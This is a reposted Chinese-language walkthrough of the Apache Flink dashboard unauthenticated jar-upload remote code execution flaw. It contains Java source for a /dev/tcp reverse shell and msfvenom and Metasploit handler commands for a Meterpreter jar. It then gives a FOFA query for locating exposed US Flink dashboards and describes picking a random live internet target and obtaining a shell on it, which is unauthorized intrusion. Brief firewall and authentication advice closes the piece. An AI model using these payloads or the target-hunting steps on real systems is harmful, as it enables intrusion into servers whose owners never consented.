首頁 > 運維 > 安全 > apache flink任意jar包上傳導致遠端程式碼執行的範例分析

apache flink任意jar包上傳導致遠端程式碼執行的範例分析

WBOY
發布: 2023-05-15 13:01:13
轉載
1651 人瀏覽過

漏洞描述:

2019年11月11號,安全工程師Henry Chen揭露了一個Apache Flink未授權上傳jar包導致遠端程式碼執行的漏洞。由於Apache Flink Dashboard 預設無需認證即可存取,透過上傳惡意jar包並觸發惡意程式碼執行,從而獲取shell。

影響範圍

<= 1.9.1(最新版本)

環境建置:

(1) 提前安裝好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下載flink-1.9.1

下載網址:https://www.apache.org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解壓縮下載的壓縮套件:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
登入後複製

( 4) 進去到解壓縮後的目錄中,來到其bin目錄下:

apache flink任意jar包上传导致远程代码执行的示例分析

#(5) 啟動flink:

./start-cluster.sh
登入後複製

(6) 瀏覽器存取驗證(預設連接埠為8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

##出現上圖即建置成功.

(7) 設定開機自啟動(這裡折騰了好久,一直起不來.直接source /etc/rc.d/rc.local可以啟動,但是重啟後並不會啟動flink,最後找到了解決方法)

apache flink任意jar包上传导致远程代码执行的示例分析

開機自啟動設定

漏洞1) 參考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中給出的利用java反彈shell


記得修改ip與連接埠:

apache flink任意jar包上传导致远程代码执行的示例分析

程式碼:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687517911.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>#b.然後選擇java-->Runnable JAR file<p></p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>c.然後選擇對應的java專案和匯出路徑以及匯出檔案名稱<p></p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>圖片<p></p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"> #這樣就產生了一個反彈shell的jar包</p>
<p>msf生成jar馬:</p>
<p>(1) 利用msfvenom來產生一個jar馬:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
登入後複製

(2) 打開msf的監聽模組,並監聽9999埠(要與我們jar馬設定的埠一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
登入後複製

(3) 上傳我們產生的jar馬並提交後(這部分操作參考下面的複現),可以看到我們成功接收到shell:


apache flink任意jar包上传导致远程代码执行的示例分析

#本地復現:

apache flink任意jar包上传导致远程代码执行的示例分析(1) 訪問目標:

(2) 點選Submit New job,開啟上傳jar套件的頁面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3)點擊Add New選擇我們製作好的jar套件:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我們的機器上監聽好埠(我們製作的jar套件是直接反彈shell的)

apache flink任意jar包上传导致远程代码执行的示例分析(5) 點擊我們剛剛上傳的jar套件:

(6) 然後點擊Submit即可,可以看到我們已經成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

網路網站:

apache flink任意jar包上传导致远程代码执行的示例分析fofa關鍵字:

"apache-flink-dashboard" && country="US"

#

(1) 隨便找一個目標:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar套件

apache flink任意jar包上传导致远程代码执行的示例分析

#(3) 利用flink上傳jar包的功能將我們的jar包上傳:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上傳後,我們在我們的vps上監聽好端口

(5) 然後回到瀏覽器,選中我們剛剛上傳的jar包,然後點擊Submitting提交,可以看到我們的vps已經成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

#漏洞修復:

建議設定防火牆策略,僅允許白名單ip存取apache flink服務,並在Web代理(如apache httpd)中增加對該服務的digest認證。

隨時關注官網,等待新版本或補丁更新

以上是apache flink任意jar包上傳導致遠端程式碼執行的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板